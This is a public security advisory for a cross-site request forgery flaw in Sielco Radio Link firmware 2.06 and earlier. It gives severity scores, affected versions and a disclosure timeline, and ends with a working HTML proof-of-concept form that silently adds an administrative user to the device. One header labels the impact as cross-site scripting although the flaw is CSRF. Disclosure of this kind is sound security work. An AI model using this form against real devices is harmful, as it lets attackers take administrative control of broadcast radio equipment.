Gjoko KrsticZSL-2023-5761Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin)
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.6 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
24.3%
Title: Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin)
Advisory ID: ZSL-2023-5761
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (4/5)
Release Date: 30.03.2023
Summary
Sielco develops and produces radio links for all transmission and reception needs, thanks to innovative units and excellent performances, accompanied by a high reliability and low consumption.
Description
The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
Vendor
Sielco S.r.l - <https://www.sielco.org>
Affected Version
2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)
Tested On
lwIP/2.1.1
Web/2.9.3
Vendor Status
[26.01.2023] Vulnerability discovered.
[27.01.2023] Contact with the vendor and CSIRT Italia.
[29.03.2023] No response from the vendor.
[29.03.2023] No response from the CSIRT team.
[30.03.2023] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/171846/>
[2] <https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-08>
[3] <https://exchange.xforce.ibmcloud.com/vulnerabilities/253071>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/269707>
[5] <https://nvd.nist.gov/vuln/detail/CVE-2023-45317>
[6] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-45317>
Changelog
[30.03.2023] - Initial release
[03.11.2023] - Added reference [1], [2], [3], [4], [5] and [6]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<!--
Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin)
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)
Summary: Sielco develops and produces radio links for all
transmission and reception needs, thanks to innovative units
and excellent performances, accompanied by a high reliability
and low consumption.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: lwIP/2.1.1
Web/2.9.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5761
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5761.php
26.01.2023
--><html><body><p>CSRF Add Admin:
---------------
</p>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value="Reader"/>
<input name="pwd1" type="hidden" value="123456"/>
<input name="pwd1bis" type="hidden" value="123456"/>
<input name="auth1" type="hidden" value="2"/>
<input name="user2" type="hidden" value=""/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="0"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value="0"/>
<input type="submit" value="Adminize Me!"/>
</form>
</body></html>Related
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.6 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
24.3%